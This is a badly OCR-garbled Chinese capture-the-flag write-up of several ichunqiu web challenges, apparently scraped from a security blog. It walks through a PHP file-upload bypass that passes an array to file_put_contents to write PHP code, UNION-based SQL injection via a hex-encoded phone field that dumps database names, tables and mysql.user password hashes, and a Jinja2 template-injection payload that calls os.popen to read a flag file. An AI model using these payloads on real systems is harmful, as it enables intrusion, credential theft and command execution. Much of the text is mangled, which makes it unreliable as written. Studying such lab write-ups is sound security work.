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Hi, a CTFer. You got a file, but it looks like being broken.

RS T — AR jsfuck, BR—THEIE, KIFK[BRI, R)EHERBAEETE 2lflag. FRXEAE
BB ERBIEES 51817, BHAflagtEs —1MEET .
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WANNA DECODE JSFUCK?

fEF YL https://enkhee-osiris.github.io/Decoder-JSFuck/
gy |
VR, ROV, BRI, roles$f S Erole=Zjo10iJ0aHImzyI7

4 C O O httpy/56e8370dfb9cd7bc92eSecceecfed232addadlced8d 94042 game.ichungiu.comy/

I» U - [ EHEE o haoll3 \?363@1:1 N fﬁﬂ_‘,‘té O 360:2F giFERo Links Links for Microsoft MSHN R

Sorry. You have no permissions.

| rot13 B Burp Suite Professional v1.7.11 - Temporary Project - licensed to Larry Lau

1 Burp htruder Repealer Window Help
Target | Proocy | Spader |Sr|nm Intruder |Rnpnalnr |5¢qunm=ur Inmdu'llf.nrlwm Extender | Project options. | User

[baseﬁﬁ}ﬁjfﬁ]fé

rot13f#hg

[ Rot13 #55 |[ Rot13 m}\

RIE R H R RRUE? RAEM? RETHA? ¥s:5"admin”i#1Trot13N% Fbase64 % KX HIER, i
admin B3 EFBER T .

< C|@ game.ichungiu.com

Hello admin, now you can upload something you are easy to forget.

BE M IR KB R ZPOST i 45 i 55 4%

<html>

e ad >
<titler</title>

< heady

Chody>

{1-— filename = § POST[ filemame']: $data = 3 FOST[ data’]: —*Hello admin. now you wplosd smething you are sasy to forget. $bodys

<htal>

D00 = S (h L0 R e

FR wh BE 18 POST $ & filename=test1.php&data=<?php phpinfo(); ?> R Bi#k 28, 1H2POSTHE
filename=test1.txt&data=<?php phpinfo(); 7> LA, TG HAHE T 8&E, WATCAUFR S, X B2 TR . 7T
DARE W f5 & RS A T file_put_contents()efi%t, TRBEPHPFMAH, B -ASHLLREA
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int file_put_contents ( string $filename , mixed $data [, int $ﬂags =0 [, resource $context ]]
)

FiEume fopen() , fwrite() LR felose() Thas—#E,

If filename does not exist, the file is created. Otherwise, the existing file is overwritten, unless the FILE_APPEND
flag is set.

A ':"EI'D

”

filename
BEiRS A EiEr RS,

data
EE )\RIEE. EFOTLIR string |, array BiE 2 stream FiR ( N EEFMERYERME ) .

IR data I8ER stream EHF , IXE stream REHEENEEHIEEES ) IHEEESP |,
{88 stream_copy_to_stream() E831.

%1{ B gehEEEa) | Eﬂt&ﬁéa{ file_put_contents($filename, join(", Sm'rﬂy}),l

I EEEREILT

WRFB-ASHEANREA, WAL 7R/ S KERPHEER, WKWT:

wBe ¥+ & =

€& | O 127.0.0.1/test2.php

Ir[NT * = § S0L BASICS- UNION BASED- ERROR/DOUELE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- EM
@ Lload URL | http:/r127.0.0.1/test2.php
& splituRL
») Execute
[7] Post data [[] Referrer % OxHEX 3% &% %URL 3 &% BASEG 3B
Post data

Irﬁ|ename:she".php&data[]: <?php&datal] =9§Dap|’1pinfu[l;|

E ch\phpStudy\WWWitest2.php - Sublime Text
File Edit Selection Find View Goto Tools Project Preferences

Help

abcdefg

<?php

phpinfu(} . \

SRELERAZ J5 V5 1) BE 45 flag

| fesiry] |uaix

J Target: Mip:TEalied2]Dedd51 chb4De 2Tbee 101 ZBIIT4EICIaETIZA1TE.game ichungiu.com | &

Request
Request Response

Imcacam

[ onaws [ [ | o

POST findex. php HTTE/L.1

Host: TOalle4210e4451cbb40e2Theelbl 2bfOT46f c£aBTE 24170, gane. ichungiu. com
User=Agent: Mozilla/5.0 (Windows HT 10.0; WOWH4: rv:35.0) Geckos/20100101
Firefox/55.0

Aecept: text/hital, application/shtal+ual, applicavion/sml:g=0.9, */*:¢=0.8
Yecept—Language: =h-CH, =h,q=0.8, en—US.q=0. 5, en.q=0. 3

Accept-Encoding: gzip, deflate

Content=Trpe: application/x=www=fore=urlencoded

Content-Length: 52

Cookie:

filename=te2zt, phpkdata[]=Tphpkdata]]=%0aphpinfei) ;

T

HTTE/1. 1 200 oK

Server: nginx/1.10.2

Date: Sat, 0% Sep 2017 13:25:21 GMT
Content-Type: text/htsl
Content-Length: 148

Cormection: close

¥=Powered=By: PHP/3. 3. 9=lubuntud, 22
Vary: Accept=Encoding

OCTYPE hral

UN_distinetid=13d8e8h1 388 e 30079 ad2f 46294126461 4a—100200-13488k1 35 ahd : htnl
role=Z jol0iJuckpl¥SIT head
Cormection! clese titlerdftitle
Upgrade=Insecure-Requests: 1 Jhead
body

your file iz in

. fuploads 0921981 ce4134018c503402342836291 te2s t. php

S dy
Shitel
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&« C @ 76a01e4210e4451cbb40e27bce1b1 2697 46fcfab7f241 T6.game.ichungiu.com/fuploads /092 198fced 1 3d01 Bc503402 3d2B3629 1te2st.php

flag(09a75989-36b8-4745-a%3-d9d327 TccB5a)

B=E

ERsql ZIEN, BEEEMEITES, BFRERKIANcheckiz@ ] LE A L0 N SRR —F, XFEbE
Eﬁﬁ%ﬁ?@ FEMBIEE, MHEIESHRERET. i, BEHRRsqlif f)H #1612 ) 34T M
XA AE B B IR AT EATH & I sqlif )

AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/39.0.3071.115 i script sre= assets/js/hteld. js
Safari/337. 36 I [endif]—
Content—Type: application/sz—www—form—urlencoded
Accept: !=— Javascript —
text/htal, application/shtml4xml, application/xml :q=0. 9, image wehp, im ’script sre= assets/js/iquery=1.8.
age/apng, */*;q=0.8 {zeript
Referer: sre= assetst’JsLupel"med 3. 2. Tomin. 35724/ 5¢
http://81a3266b757044af8d5aT80£ 2e90fb0Ta3851912f Zecd 700, gane. ichung <seript sre="assets/js/supersized—:
1u. com/register. php <{seript sre= assets/)sfscripts. js”.
Accept-Encoding: gzip, deflate (/head
Accept-Language: zh—CN, zh:¢=0.8
Cookie: chkphone=acWxNpzhQpDiAchhiluSnEqyiQubIo0000 .
UN_distinctid=15e2944a2al 296-0£ 293 Tbbal3021-36624308-100200-15294 Success!
4a2al476; pgv_pvi=9290394624; pgv_si=sT1B9134335;
Hm_lwt_2d0B01bd28deTd49818249£35495943=1503930918, 1504955578, 1505 (body>
008914 Ha_lpvt_2d00601bd28deTd49818249£35d95943=1300006914 <div eclass="page-container
ci_session=341b264361al0b26835f9cleTI0E ObT0GaTaf a® ; hl> e/l
PHPSESSID=chtulomrni3uhlavseackI6nfl form action="regizter.php” me
Commection: close Jinput type="text” name="y
class="username” placeholder—" HPa™>
usernans=rkpazsword=rkphone=0x3120730:006{6e 20736500363 T42067T26£7 {input type= pass=md na
ST05£636f66361 742855730572 2506173 73TT6£ 72642020667 26£6420 7573657 elass="password” placeholder="# %
2 Cinput type="text name="]
‘\ L placeholder="phone” maxlength="11">
|' button type="submit” 3

[B EJ B EJ Type & search fem 0 matches D l:J l:] D Type a search ferm

Hello, w

Your phone is 1 union select schema name from information schema.schemata.

Click on the link and you'll know how many people use the same phone as you.

Check | logout

90fb07a385191212ecd75a.game.ichungiu.com/check php

There only 7 people use the same phone as you
There only information_schema people use the same phone as you
There only mysgl people use the same phone as you
There only performance_schema people use the same phone as you
There only webdb people use the same phone as you

= | (D 81252660757 044805 TE0M2e 001072355191 22ec4 TS game. lchungiecomyinde pho ¢ B ot

Hello, ddddd
Your phone is 1 union select table name from information_schema.tables where table_schema=database().

Click on the link and you'll know how many people use the same phone as you.

Chisgk || logest

81a5266b757044af8d5a780f2e90fb07a3851912f2ec47 5a.game.ichungiu.com/check.php

There only 2 people use the same phone as you
There onlyluser]people use the same phone as you
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008

Hello, www

Your phone is 1 union select group_concat{column_name) from information_schema.columns where
table name="user".

Click on the link and you'll know how many people use the same phone as you.

Chack | logeut

« C | @ B1a5266b75T044af5d 5aTa0f2e S0Tb0T 23851 91 2020047 Sa.game dehunglucomyched phy

There only 5 people use the same phone as you
There only

Hos! elect_priv,lnwrl_pliv,Up:l.ale_pliv,DelE-te_priv,((eate_priv,Dmp_priv,Reload_pri\.r,5hutdm.\'n_priv,Prucess_pli\-,FiIE_p(i\.l,Glan[_priv,liefe(ences_|
peaple use the same phone as you

Hello, dd

Your phone is 1 union select group concat(User,Password) from mysql.user.

Click on the link and you'll know how many people use the same phone as you.

Check | | logout

O | (D 8338062608445 36a4bd 1602162 T befOBChEATC 79 3434001 . game. [chungiucomy/check phy

There only 2 people use the same phone as you
There only root*BS87ETFF2110C53A90004233A39FERD 352F ADEDY, root root root debian-sys-maint*BBE20ABC AFSFEBA93BS9ASSCE1 1 TO0BEDAL 1 2CBS peo
phone as you

Hello, ddd pay]oad

Your phone is|1 union select phone from user where username="admin".

Click on the link and you'll know how many people use the same phone as you.

Chack | | logout

There only 2 people use the same phone as you
There only flag{973fc28b-5eb6-4cc7-9d34-5f1b8291acaa} people use the same phone as you

% Zjinjia2 AR IEN
EMSESE, fEdonate.phpibrl UEEE Frurl, LERAF 4. FMEEEREE, KIMERES Tjinja2t ik .

&« C | ® 797017775acB459fb7046¢836b3d102f3a365b39580b44f2.game.ichungiu.com/register.php

Success: your file would be stored at /tmp/memes/admin
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COTT T ToT=ra s

TEMFLATES [{" AFP_DIES : True.

"BACEEND : " django. template. backends. Jinga?. Jinga?',

"DIES ;[ Avarfwww/html/templates’ ],

"OFTIONS : { envirenment' : museum. myjinga?. environment 1},

{" APF_DIES : True,

"BACEEND : " django. template. backends. djanzo. DjanzoTemplates’,

"DIES ;[ Avarfwww/html/templates’ ],

"OPTIONS . { context proceszors’ : [ djange. template. context processors. de
" django. template. context_processors. re
" djangoe. contrib. auth. context_processm
" djangoe. contrib. messages. context_proce

google—TF, get&#, HEMAEFXEXE: CSAW-CTF Python sandbox write-up

op

ot T — ekt iA]

T B2 A pythoniB AT Ay 2847, HRE

donate

The address of your donation

icB3.nipic.com/ile/20150423/16749124_163326906986_2.jpg

Your name

{i-_class__._ base_ . subclasses_ ()[59].__init__.func_g

Go!

No donation, get out! logout

collection de musee

jlepen file Iz, mecde & at 0=7i6c6ci2AB4eBA0

donate

The address of your donation

Your name

Go!

No donation, get out! logout

collection de musee
MFlag78707018=-880c=4040=-00ac=0BbAReadB33al
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Request Response

Ihl Params IMI‘I Hext Headers | Hex
Accept: & HTTP/1.1 200 OK

text/htal, application/xhinl+xnl, application/xal;q=0. 9, image/webp, in [ Server: nging/l. 10,2
age/fapng, */* . q70.8 Date: Sun, 10 Sep 2017 09:50:357 GNT
Referer: Content-Type: text/hal: charzet=utf-§
http://3c6d15c850af 4250 adef T30eddbS0e16041c£50139914942, pame. ichung Content=Length: 176
i com/register, php Connectien: cloze
Sccept-Encoding: gzip, deflate Vary: Cookie
Accept-Longuage: zh-CH, zh:q=0.8 Y—Frame—Optiens: SAMEORIGIN
Cookie: chliphone=ac¥:lpzhQpDiachhlusinEqy 1Qub 100000 ; Set=Conkie:
_distinctid=l5eldd4alal 206-0f 283 Thbal 302136624308 -100200-1 52594 csrf token=ivBOFUzkFcB 4q] 4mudnGir TBsThiFirqC089ql 2 3E s zubndva eRR]]
4a2a2470; ppv_pvi=9230394624; pgv_si==T169134336; AsquibViY. expires=Sun, 09-85ep=2018 09:30:08 GMT:
Ha_lvt_2d0601bA28de Td49818249¢f 35495943=1503930918, 1504955578, 1505 | Wa-Age=31449600: Path=/
008914, Ha_lpvt_2d0601bd28deT 45818249 £35495943=1505008914 Set—Conkie:
ci_session=i41b28 4361210k 288351900 TH0S clbT05a3af 2% sessienid=", o] xVeNECw1 A0hOF 32 bMh30qFevTuMiCFAnk nSEp THEG THul Bx_|
czrf roken=]CHLlaadghkspSel Zlge 35T usEhdpa jgMy 22 2 WhW jOTPOtewC 1Mk FOL In35Ld2ul s=rRMZ =] JGnaw] o5 W25Q4YE jHEZEGeDoi WS JoMDIF 32 5 1 jSbhL
rRzFThTC ValnmyastUfval LUAP19T=3ewbIZ TenBAN00 pw : 1dayss : LswrufO_ick=1+
Connection: elose VpDrmiOJ4”: expires=Sun, 24-Sep-2017 09:530:083 CMT. hetpenly:
Mor=Age=1209800: Path=/

username=hih {{[]. _class__. _base .  subclasses__ ()

[59]. _init__, func_globalz[ linecache™]. _dict__ Success! your file would be stored at

["os"]. popen(Teat Stmp/memes b {{[]. _class__.__base__.__suhclasses__ ()
flag*" ). read()}  kpasswvord=ackesrfuiddleware token=48 T2 jF01TeBh jut [59]. __init__. func_globals["linecache™]. _ dict__
52U RuuYASHOBb cBUSx tuySHIPVEAOW 3y 2D iU T INg v VEvE submi 1=Co%21 ) [Te="). popen(Tcat flag*”).read(}}}

| < @1 E Type & SSarch am

[B [ZJ B EJ Ty & Saarch ferm

jinjia2iE NS % X E

CSAW-CTF Python sandbox write-up
FIF Python RtE7E Jinja2 AR H PATE RS
*AXE#H: Mochazz, ¥ iEHEWXKHE FreeBuf.COM

rll\/lochazz SEXEFR: 24

° J:_‘%
e T—M:

REWiL

e o) 4 F Ak A IE 29 L T
ACHE: —zRIIRESR AR AR L5 I8

ofF 3 %iFik

111 2017-09-20 757 1#%
AR TR R R RO ? IR, ERGURIVRIT, FRLRBHNER ST T R

=7(2)

% N\ 2017-09-20 5] 2%
B AIT E—LE

7 1(0)

A&

213 2017-09-20 5147 3%
& AT B4
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